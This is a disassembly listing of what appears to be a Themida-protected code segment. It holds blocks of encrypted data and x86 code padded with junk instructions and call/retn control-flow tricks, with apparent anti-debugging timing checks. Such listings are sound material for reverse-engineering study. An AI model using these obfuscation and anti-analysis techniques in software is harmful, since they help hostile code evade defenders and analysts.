dd 0DB858907h, 8B07A842h, 0FFFFB8D8h, 95FFFFFFh, 7A80C71h
dd 95FFC38Bh, 7A80C71h, 84E9h, 0DFBD8300h, 7A842h, 1850Fh
dd 57C30000h, 42DBBD8Bh, 83AB07A8h, 0A842DB85h, 0C35F0407h
dd 42DFBD83h, 0F0007A8h, 185h, 8360C300h, 0A842DBADh, 9D8B0407h
dd 7A842DBh, 0FFFC7B83h, 1D850Fh, 6E680000h, 815DEA19h
dd 996E2434h, 6A5DEAh, 95FF33FFh, 7A842D3h, 1DE9C361h
dd 68000000h, 0EC3FD9B9h, 47240481h, 6A13C0A6h, 0FF33FF00h
dd 0A842D395h, 0DBAD8307h, 407A842h, 0FFFFB1E9h, 0D3E948FFh
dd 33000009h, 0F54460C1h, 9E9591AAh, 477FCC19h, 10C5B8F6h
dd 77C039DCh, 4B3FFA4Dh, 77762976h, 6E696E6Fh, 0FE4960E7h
dd 8C9D9DE8h, 562C9E0Eh, 1F80BFE4h, 7A35697h, 562BF047h
dd 77242577h, 616F6C6Fh, 0E44960E4h, 968082E8h, 4A329E11h
dd 0B97A4FAh, 33C03D99h, 562FE70Bh, 76766866h, 756F7921h
dd 0E25060F2h, 988083A7h, 9011h, 62h dup(0)
dd 33000000h, 0FF4D60C1h, 96868DA6h, 5D2F9E0Eh, 1397ACF8h
dd 36C67CD4h, 4028B558h, 64246777h, 646E756Eh, 0FE5532A0h
dd 9E9C8DA6h, 0F31D75Ch, 90A4EEh, 24D72F99h, 0B27F05Fh
dd 6E540418h, 65736164h, 0FE5560ACh, 9D938BA4h, 0F2BD75Ch
dd 1F8AB9F1h, 3ACB3199h, 533E744h, 22606773h, 74736573h
dd 0B05432E1h, 8B878BB1h, 402DCE5Ch, 1F84B9F0h, 97h, 47h dup(0)
dd 33000000h, 0E24360C1h, 9C9987A9h, 0F2C990Eh, 1E8AA4E3h
dd 24CF3499h, 402FF70Bh, 6D62297Ch, 20646E74h, 0FE4E35F2h
dd 0D9958AA1h, 567FD015h, 5297BEF8h, 23DD25CAh, 2F64F84Eh
dd 6768591Fh, 2C657360h, 0FC4E35A0h, 0D99685A7h, 497FCA15h
dd 5288A4E5h, 38C339D4h, 446AEC59h, 70246D7Ch, 61747364h
dd 0E90034F2h, 0D98091A7h, 4830CC0Ch, 5C88AAE5h, 61h dup(0)
dd 33000000h, 0F54C29C6h, 8B9D87E8h, 5B2FCB0Eh, 5CC4AFF2h
dd 3EC60899h, 573AB558h, 63766E7Dh, 6168206Ch, 0F54260F3h
dd 94D28AADh, 5F36D01Dh, 684A7E2h, 368E38DCh, 486AF145h
dd 67667073h, 74690D0Bh, 0F90033A7h, 9A9782A6h, 0F3BDB08h
dd 13C5B2F5h, 25C70A99h, 4A6AE65Eh, 70672960h, 656B6360h
dd 0C4006EE4h, 0D9818DA0h, 4A33D71Ah, 1C8ABCB7h, 208E289Eh
dd 521E744h, 6F7D6773h, 2E65726Eh, 0E0h dup(0)
dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0)
dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
dd 0AE90000h, 6A00002Dh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 0C966C352h, 0E87F6255h
dd 7, 825F24E5h, 0E9B50CA5h, 11h, 0F2FA90E9h, 0A6E544A7h
dd 0F75CF0E5h, 7DA71181h, 6AFC5B3Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A01CC352h
dd 3D08260Ch, 8FB3E071h, 68E0Fh, 958B0000h, 7A80FADh, 6E8h
dd 2DEF8D00h, 8B9C3018h, 0C08B5AD0h, 2AA59533h, 0BD8307A8h
dd 7A827F9h, 83097500h, 0A80605BDh, 13740007h, 0C08B5350h
dd 1B8h, 0C59D8D00h, 0FF07AAAEh, 83585BD3h, 0A80605BDh
dd 11740007h, 1B85350h, 8D000000h, 0AAAD769Dh, 5BD3FF07h
dd 699D8958h, 8B07A80Bh, 6AC08BDAh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 70D6C350h
dd 3C58E8B5h, 3810F8Bh, 80000000h, 0B52907E7h, 7A80F99h
dd 221DBD83h, 0F0007A8h, 1B684h, 898D8900h, 8307A821h
dd 0A826EDBDh, 840F0007h, 1A3h, 57D958Bh, 0E96007A8h, 0Bh
dd 1EA202C0h, 0C2A9F9D1h, 8BF3A3E6h, 0A826ED85h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0EA8415C2h, 669F9034h, 890ECABAh, 0A82CA5BDh, 0E805F807h
dd 0F000003h, 0B8Bh, 0BF0F6000h, 0B18D8BD3h, 6107A830h
dd 7E990h, 1D7A0000h, 653A7B4Fh, 4CBA506Bh, 90179B90h
dd 236D958Bh, 858D07A8h, 7A84DECh, 81BB66F5h, 8B6050EFh
dd 515250CAh, 0BA310F5Eh, 0C1323ABh, 8961585Ah, 0E2802404h
dd 0CA858D3Dh, 0F07A84Dh, 0F50DAB7h, 168Ah, 11E900h, 3F930000h
dd 0F9BB9D77h, 0B4EC5763h, 668F43DDh, 89E576A0h, 6A2404h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 892499C3h, 0A82F6585h, 4195FF07h, 8B07A82Fh, 0A831659Dh
dd 0CC48307h, 44DBD29h, 0DA8B07A8h, 4DCA858Dh, 509007A8h
dd 0EE852h, 45720000h, 0FB0751C6h, 0D09D8A60h, 34961CE9h
dd 0F5A5A50h, 5A31B331h, 0FE85058h, 67000000h, 0F5E6BC84h
dd 440AB6F6h, 0F4F519Eh, 0BB663A85h, 905B5BCFh, 146DB589h
dd 26A07A8h, 0B9858B60h, 0F07A80Bh, 68Dh, 0C9B58900h, 6107A830h
dd 0ED1495FFh, 11E9006Ah, 93000000h, 57D2368Fh, 0F2134FA5h
dd 97F6F4A6h, 0C430D0CEh, 56006A61h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 2820FBBh, 0B6000000h
dd 0D9D8B29h, 0C707A81Bh, 0A84DFD85h, 107h, 0B5B53100h
dd 9607A803h, 6050DD8Ah, 33BB6653h, 8B665B31h, 0E99661DFh
dd 0Fh, 0FB90901Fh, 5D3BB04Bh, 7F38F67Fh, 89A68A7Bh, 0A8177585h
dd 0AEB58907h, 6A07A84Dh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 0F1F1C353h, 839313DEh
dd 0A806A5BDh, 850F0107h, 42h, 24C59D8Bh, 0F88307A8h, 33850F05h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0C6C8C352h, 408E2FBEh, 0B826D280h
dd 0
; ---------------------------------------------------------------------------
pusha
mov cl, 5Dh
or edx, [ebp+7A83519h]
popa
cmp dword ptr [ebp+7A81079h], 0
jz loc_58662F
movsx ebx, ax
pusha
push 0
push ebp
call sub_586606
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586606 proc near ; CODE XREF: Themida_:005865FEp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_586606 endp
; ---------------------------------------------------------------------------
test ebx, ebp
stosb
movzx ebx, di
call dword ptr [ebp+7A81079h]
push eax
mov bh, 61h
pop edx
popa
or [ebp+7A82A49h], ebx
mov ebx, eax
loc_58662F: ; CODE XREF: Themida_:005865F1j
cmp dword ptr [ebp+7A831E5h], 0
jz loc_586660
jns loc_586659
push ecx
call near ptr loc_586654+3
adc bl, [ebp-10h]
in al, 0C2h ; DMA controller, 8237A-5.
; channel 1 current address
adc edx, [edi-4862243Bh]
push ebx
loc_586654: ; CODE XREF: Themida_:00586643p
sar dword ptr [edi+ebx*2+5Bh], cl
pop ebx
loc_586659: ; CODE XREF: Themida_:0058663Cj
mov eax, 0
mov edx, edi
loc_586660: ; CODE XREF: Themida_:00586636j
pusha
or dx, 0B617h
mov eax, [ebp+7A82981h]
add eax, 2
push 0
push ebx
call sub_58667A
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58667A proc near ; CODE XREF: Themida_:00586672p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_58667A endp
; ---------------------------------------------------------------------------
std
enter 6864h, 0FEh
xor [edx], al
mov dl, 77h
jbe loc_58669E
mov ebx, 5653954Fh
loc_58669E: ; CODE XREF: Themida_:00586693j
mov [ebp+7A84DA6h], eax
mov edx, [ebp+7A82181h]
mov byte ptr [eax], 0FFh
push 0
push edi
call sub_5866B8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5866B8 proc near ; CODE XREF: Themida_:005866B0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5866B8 endp
; ---------------------------------------------------------------------------
lodsb
mov bl, 1Bh
movsd
mov edx, [edx-5E965E4Dh]
jmp loc_5866E1
; ---------------------------------------------------------------------------
db 54h
dd 75CBBF19h, 0BE464968h
; ---------------------------------------------------------------------------
scasd
loc_5866E1: ; CODE XREF: Themida_:005866D2j
mov byte ptr [ebp+7A80619h], 53h
push 0
push edx
call sub_5866F3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5866F3 proc near ; CODE XREF: Themida_:005866EBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5866F3 endp
; ---------------------------------------------------------------------------
ror dword ptr [edx+78E568D3h], 1
push ss
mov al, 66h
mov edx, esi
xor dword ptr [esp], 4CA7303Dh
mov bx, 0D55Fh
push dword ptr [ebp+7A80CE1h]
sbb edx, 5332399Eh
lea eax, [ebp+7AB781Ah]
push 0
push ecx
call sub_586736
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586736 proc near ; CODE XREF: Themida_:0058672Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_586736 endp
; ---------------------------------------------------------------------------
icebp
adc [ecx], cl
mov ch, 39h
push cs
test al, 7
call eax
mov [ebp+7A80759h], edx
mov [ebp+7A80D21h], eax
xor [ebp+7A807D5h], ecx
cmp dword ptr [ebp+7A82209h], 1
jnz loc_586839
push 0
push ecx
call sub_58677A
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58677A proc near ; CODE XREF: Themida_:00586772p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_58677A endp
; ---------------------------------------------------------------------------
dw 0E8A5h
dd 66E9EB28h, 614E80BAh, 30B19D8Bh, 85C607A8h, 7A80619h
dd 2840F45h, 8B000000h, 525068D9h, 8B66BA84h, 240481DEh
dd 1FDBE672h, 0CE1B5FFh, 2B5207A8h, 0A808F595h, 858D5A07h
dd 7AB781Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 0AC35040h, 11446338h, 0B960DC6Ch, 72269001h, 6E8h
dd 69331000h, 8A3BBA93h, 8B615ECAh, 80D0FFDAh, 6A9DEFh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 32C35141h
dd 81B95B60h, 0CCC51BEAh, 3D0FF4Bh, 0A814FD9Dh
; ---------------------------------------------------------------------------
pop es
loc_586839: ; CODE XREF: Themida_:00586769j
cmp dword ptr [ebp+7A81AD1h], 1
jnz loc_586930
push 0
push esi
call sub_586851
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586851 proc near ; CODE XREF: Themida_:00586849p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_586851 endp
; ---------------------------------------------------------------------------
mov esp, 9D8B46FAh
pop ebp
db 2Eh
test al, 7
mov eax, [ebp+7A82981h]
push 0
push esi
call sub_58687B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58687B proc near ; CODE XREF: Themida_:00586873p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_58687B endp
; ---------------------------------------------------------------------------
db 17h
dd 72591679h, 0F780C595h, 74E9E7h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 0D2FD3C3h
dd 9D8BD6CCh, 7A82F3Dh, 12E8h, 90490A00h, 85B5179Ah, 5C6390A8h
dd 7069BEF8h, 8B6FF06Eh, 0A832C59Dh, 0BB505A07h, 0DF7D73h
dd 0F240489h, 68Dh, 25952B00h, 6A07A830h, 759D8B14h, 0FF07A822h
dd 0A80D2195h, 5258FC07h, 757FC281h, 665B3B97h, 3880D78Bh
dd 0C7850F00h, 66FFFFFFh, 0CC0CCB81h, 0F18D8B60h, 0F07A829h
dd 0C661C6B7h, 0BD890100h, 7A82719h
; ---------------------------------------------------------------------------
loc_586930: ; CODE XREF: Themida_:00586840j
popa
or [ebp+7A817D1h], eax
cmp dword ptr [ebp+7A83535h], 0
jz loc_5869A2
push 0
push edx
call sub_58694F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58694F proc near ; CODE XREF: Themida_:00586947p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_58694F endp
; ---------------------------------------------------------------------------
db 39h
dd 121E85BBh, 0DC3C7B79h, 29FF6A4Dh, 0A80E3D85h, 2195FF07h
dd 8107A80Dh, 0C6A4A9EBh, 0FFE7E91Eh, 6AFFFFh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0BEE73DC3h
; ---------------------------------------------------------------------------
mov dl, 23h
loc_5869A2: ; CODE XREF: Themida_:0058693Ej
mov dword ptr [ebp+7A83535h], 1
jmp loc_5869C5
; ---------------------------------------------------------------------------
db 0F8h, 7Bh, 6Dh
dd 0DC237745h, 988A8D6Ah, 58CC8F89h, 0C694F390h
db 0C2h
; ---------------------------------------------------------------------------
loc_5869C5: ; CODE XREF: Themida_:005869ACj
mov [ebp+7A84DB2h], eax
push 0
push ebx
call sub_5869D6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5869D6 proc near ; CODE XREF: Themida_:005869CEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5869D6 endp
; ---------------------------------------------------------------------------
dw 0ED94h
; ---------------------------------------------------------------------------
imul edx, [eax+10E9h], 9E6DCA00h
cwde
cmp eax, 0EEB07C1h
xchg eax, esi
cmpsb
rcr byte ptr [eax+5001E9AFh], 1
mov ebx, edi
nop
push eax
sub [ebp+7A827F5h], ecx
pop ebx
pusha
push 0
push eax
call sub_586A17
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586A17 proc near ; CODE XREF: Themida_:00586A0Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_586A17 endp
; ---------------------------------------------------------------------------
db 71h
; ---------------------------------------------------------------------------
stosd
pop ebx
sbb dh, [ecx]
jmp loc_586A38
; ---------------------------------------------------------------------------
mov eax, ecx
lds eax, [ebp+5Fh]
std
stc
loc_586A38: ; CODE XREF: Themida_:00586A2Cj
mov bx, 0FA96h
push 5
push 0
push eax
call sub_586A49
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586A49 proc near ; CODE XREF: Themida_:00586A41p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_586A49 endp
; ---------------------------------------------------------------------------
mov esp, 0E74DD18Ah
jnb loc_586A6C
push ebx
or edx, 57CAD54Eh
pop edx
loc_586A6C: ; CODE XREF: Themida_:00586A5Ej
lea eax, [ebp+7A84DCAh]
movzx edx, dx
push eax
jmp loc_586A8A
; ---------------------------------------------------------------------------
mov esp, 0A5F6020Ch
clc
sal ebx, 1
pop es
cmp eax, 0A9A7CDA6h
push eax
loc_586A8A: ; CODE XREF: Themida_:00586A76j
mov [esp], eax
pusha
or eax, 57A77588h
mov cx, si
popa
jmp loc_586AA9
; ---------------------------------------------------------------------------
db 0CDh, 0CEh, 8Eh
dd 0C0AD5DF1h, 619A42E3h
db 0A9h
; ---------------------------------------------------------------------------
loc_586AA9: ; CODE XREF: Themida_:00586A98j
lea eax, [ebp+7A84DBAh]
mov [ebp+7A8293Dh], edx
nop
mov bh, 4Fh
push eax
pusha
jge loc_586AC2
mov edx, ecx
loc_586AC2: ; CODE XREF: Themida_:00586ABAj
mov dx, di
popa
nop
mov [ebp+7A823EDh], edi
push eax
mov dl, 28h
pop edx
call dword ptr [ebp+7A81A61h]
push 0
push ebp
call sub_586AE2
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586AE2 proc near ; CODE XREF: Themida_:00586ADAp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_586AE2 endp
; ---------------------------------------------------------------------------
pop ebx
sahf
mov esi, 8B193AB7h
popf
adc [ebx], ebp
test al, 7
lea ecx, [ebp+7A87A84h]
push 0
push edi
call sub_586B0F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586B0F proc near ; CODE XREF: Themida_:00586B07p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_586B0F endp
; ---------------------------------------------------------------------------
db 0C1h
dd 81D56711h, 0E8E7B047h, 0Dh, 0CB0BFB50h, 95C9A671h, 2960B08Ah
dd 0FB6DBA1Ah, 0B5B0286h, 8D1174C0h, 0A84DCA85h, 0D1FF5007h
dd 4DE88589h, 0AEB07A8h, 4DE885C7h, 0FFFF07A8h, 6AFFFFh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0B6CA6AC3h, 0D59D8B76h, 8907A81Bh, 0A82539B5h, 0AFDA8107h
dd 614DA404h, 0F3DBD29h, 85C607A8h, 7A80619h, 91BD894Dh
dd 6807A824h, 0DF27EBF3h, 50525060h, 66310F59h, 585AD88Bh
dd 2870Fh, 5F510000h, 24348161h, 7B129D5Bh, 0FFD7B70Fh
dd 0A80765B5h, 0BE95207h, 39000000h, 0E997472Eh, 0BA460DD9h
dd 8D5BA970h, 0AB781A85h, 6AD0FF07h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 2B32C351h
dd 0D240581Ch, 66C48F71h, 0E20AD281h, 29AD8589h, 6A07A8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 2AAEA5C3h, 85C69CB3h, 7A80619h, 0D08B6645h, 4E8h, 72696900h
dd 10E88Eh, 0FAD20000h, 67FB1CBCh, 99FA312Fh, 182C75A7h
dd 2EB75C59h, 0D08B505Ah, 424448Bh, 8BDA8Ah, 4489DF8Bh
dd 89580424h, 0A80E0DB5h, 0E1B5FF07h, 0F07A80Ch, 1480h
dd 0FE900h, 0FF70000h, 2FD7E3Dh, 3564333Dh, 11E99F62h
dd 1A858DDFh, 6A07AB78h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0FF92C352h, 8BE381D0h
dd 895252E7h, 0A80A3D85h, 798D8907h, 8B07A80Ah, 0DE9D2h
dd 1F230000h, 0DDB8C213h, 0A97E513Fh, 667BC129h, 14E8D98Ch
dd 3F000000h, 0AF024773h, 939CB53h, 1D0AD90Ch, 51C7FA9Fh
dd 33211796h, 0A803659Dh, 0C1F65A07h, 0DC840F04h, 6A000001h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 3595C351h, 4D8916A9h, 11E88Fh, 4B0D0000h
dd 0A7176C52h, 2989EA13h, 0B6C4E8E1h, 811571B8h, 0F4F5E5C3h
dd 0EDE95B78h, 89000000h, 0A82C3595h, 0C1B58B07h, 8B07A825h
dd 0A830BD9Dh, 0EFCA8007h, 1180C681h, 9D890000h, 7A81A09h
dd 0BD83FC8Ah, 7A805A1h, 48850F00h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 15C0C356h, 66CD7F3Ah, 6368C281h, 85E923C7h, 0E8000000h
dd 13h, 16BEEFC8h, 0F60BB800h, 0E39C43FCh, 0D6E8533Eh
dd 6671AA30h, 835BD88Bh, 840F003Eh, 60h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 18h, 5AC35646h, 962ADCE3h
dd 12E9h, 94ED0100h, 0D729D728h, 972A530h, 35D49FB7h, 601514D2h
dd 0D19D0Bh, 146A07A8h, 547D381h, 95FF4C62h, 7A80D21h
dd 2F499589h, 296107A8h, 0A819A1B5h, 0FF99E907h, 0D68BFFFFh
dd 106C7h, 950B0000h, 7A80AD5h, 4DB2BD83h, 0F0507A8h, 9E85h
dd 8BD58A00h, 0A80A3DB5h, 9BD0107h, 6607A81Ah, 7AB8D281h
dd 64B9h, 11B50100h, 8007A817h, 840FE83Eh, 13h, 459D8B52h
dd 5A07A817h, 3AE9h, 31858900h, 8007A827h, 0FC2057Eh, 4E84h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 0F4E4E2DBh, 0D98B606Ch, 35698589h, 466107A8h
dd 57DBD89h, 0F4907A8h, 0FFFFA285h, 0F5DA80FFh, 1AE9h
dd 28F0F00h, 0B2000000h, 199D8B84h, 8907A819h, 0A80AC1B5h
dd 5D858907h, 5807A823h, 43D8D89h, 0BD8307A8h, 7A82FD9h
dd 18840F00h, 0E9000001h, 12h, 0D10567C1h, 0AA21A476h
dd 8CB62088h, 2FDAF3AEh, 57604DEAh, 5AFFCE80h, 61985C6h
dd 0E85407A8h, 14h, 39E38D8Dh, 27665C31h, 6F2A470Bh, 44508B53h
dd 0CF308ACh, 39BD0960h, 8B07A825h, 0A80F319Dh, 8B5A6107h
dd 0A804CD9Dh, 0AAEC6807h, 0F18AED2Ch, 18243481h, 6A126214h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 9006C353h, 80AAA951h, 0D38185F7h, 464D4B26h
dd 0CE1B5FFh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0D3D158C3h, 0F978FDAh, 858DD1BFh
dd 7AB781Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 6BC35545h, 0AAE19B91h, 958B5BC8h, 7A80621h, 0B589D0FFh
dd 7A802FDh, 950B006Ah, 7A80811h, 2FD9B5FFh, 9D8B07A8h
dd 7A80E29h, 0B70FD0FFh, 806061DFh, 0E960B3E5h, 5, 0F207E2E4h
dd 46B866D2h, 0C76161BDh, 0A8188585h, 107h, 0AE900h, 221E0000h
dd 6BB50593h, 80F0F996h, 13E860h, 0D6EA0000h, 0C0189DC2h
dd 0BD6CE064h, 57045A9Fh, 117D3997h, 0FD958B8Bh, 5B07A827h
dd 4E8h, 8000h, 12E900h, 0A5150000h, 2462D885h, 0F0421122h
dd 0B378C933h, 94D32B87h, 24448B50h, 84BA6604h, 60008BE8h
dd 13E8h, 8D0C9D00h, 78CC2F8Ch, 9E4CFF5Ch, 7A6422E9h, 76AD636Fh
dd 0F585850h, 285h, 61616000h, 4244489h, 94DABA66h, 55006A58h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 9FB4662Bh, 0B21315CBh, 0D6B70F34h, 8166FF6Ah, 80C45EC3h
dd 95FF5AC2h, 7A8060Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 7DC35141h, 0F99C8168h, 10818509h, 6A6107A8h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0D6D9C357h, 0BF9962B7h, 0A595894Bh, 5007A823h
dd 4893FB2h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 661D2E2Fh, 8BF99DBAh, 0A82DE985h
dd 0F5952307h, 0B07A828h, 34840FC0h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 0B970C353h, 222CF7A1h, 9BF381C9h, 0FF180A95h, 0A827D595h
dd 9B52907h, 0C707A832h, 0A8213D85h, 107h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 2F45D513h, 0BA79FFEFh, 4384D1D7h, 2D85BD83h, 0F0007A8h
dd 2784h, 88E0F00h, 52000000h, 2219B589h, 0FF5B07A8h, 0A8069995h
dd 8E907h, 454E0000h, 0EA742BEAh, 9D31A8C4h, 7A81B69h
dd 0F05BD83h, 0F0007A8h, 2884h, 0DF8B6600h, 38D95FFh, 0E96007A8h
dd 9, 0A747FE69h, 702F0003h, 0AE974h, 79720000h, 0D1BDB1Bh
dd 0A84D1880h, 0CDBD8361h, 7A834h, 25840Fh, 0F3810000h
dd 37FDF5BCh, 3565BD83h, 0F0007A8h, 1285h, 0FBEE8000h
dd 253D95FFh, 0BF0F07A8h, 5D9D8BD0h, 8307A81Bh, 0A82725BDh
dd 840F0007h, 40h, 19F58D89h, 858107A8h, 7A82585h, 4003h
dd 24119D8Bh, 858107A8h, 7A80ECDh, 4003h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 14h, 0BEC35646h, 0F311BB66h
dd 6A310Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 3226E6C3h, 3BE280E5h, 5E158D8Dh, 18907A8h
dd 10FD9D01h, 0C23307A8h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 8FC35141h, 0F39058CCh, 4418994h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0F3C35646h, 875D13B0h, 0A1BD8957h, 5A07A82Ch
dd 6A310Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 278022C3h, 816BAC75h, 2A16AE2h, 258D8D36h
dd 8907A85Eh, 0A82985B5h, 0DBB70F07h, 8D010189h, 7A82949h
dd 6AC233h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 284C51C3h, 0AC6E74DFh, 0DD958B7Ah, 8907A81Dh
dd 0CE90441h, 0D2000000h, 0FE4C5F0Eh, 98504F4Ch, 834E382Fh
dd 0A80449BDh, 840F0007h, 51h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 0DBC35040h, 47B3C944h, 354195FFh
dd 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 0D4EF3EC3h, 16346005h, 89FEFE6Eh, 0A8256995h
dd 9DBD8307h, 107A82Fh, 67850Fh, 810F0000h, 6, 3241B529h
dd 0DF8B07A8h, 54E9h, 0CE800h, 48B0000h, 4A22DF66h, 65ED1820h
dd 0F58A5DC4h, 8DBD315Ah, 8B07A82Ah, 0A85FC7B5h, 6C707h
dd 8B000000h, 0A85D67B5h, 6C707h, 0CF000000h, 11E9h, 5D1B200h
dd 1183871Bh, 9C13C191h, 0A29EF7D3h, 9CBA2F22h, 8906FDC0h
dd 0A824E19Dh, 3DBD8307h, 7A821h, 1C2840Fh, 958B0000h
dd 7A80DE1h, 86DBD83h, 0F0107A8h, 1A085h, 0BD958B00h, 8B07A828h
dd 0A84DA68Dh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 0E9C5F064h, 0Ch, 0B4D78D39h
dd 0B09F331Eh, 1BE602Fh, 8B0001C6h, 0A8218D9Dh, 6A6007h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0E6F874C3h, 7E9B9h, 4BAA0000h, 8DA9FAE1h, 4E8C7h, 800000h
dd 8B660000h, 448B50DFh, 52500424h, 85DF61BAh, 0E9310F4Eh
dd 0Bh, 9EFE955h, 5623512Ah, 5A62E0BAh, 0F008B58h, 1980h
dd 5E800h, 661F0000h, 0E981D7F0h, 9, 0A2FAE0A2h, 7D1A4A6h
dd 44895B7Bh, 810F0424h, 0Ch, 68A0Fh, 820F0000h, 0
; ---------------------------------------------------------------------------
pop eax
push 0
push ebp
call sub_587588
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587588 proc near ; CODE XREF: Themida_:00587580p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_587588 endp
; ---------------------------------------------------------------------------
jg short loc_587600
mov edx, eax
push 0FFFFFFFFh
push ecx
mov [ebp+7A8295Dh], eax
pop ebx
xor bl, 0DDh
call dword ptr [ebp+7A8060Dh]
push 0
push ebp
call sub_5875BA
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5875BA proc near ; CODE XREF: Themida_:005875B2p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
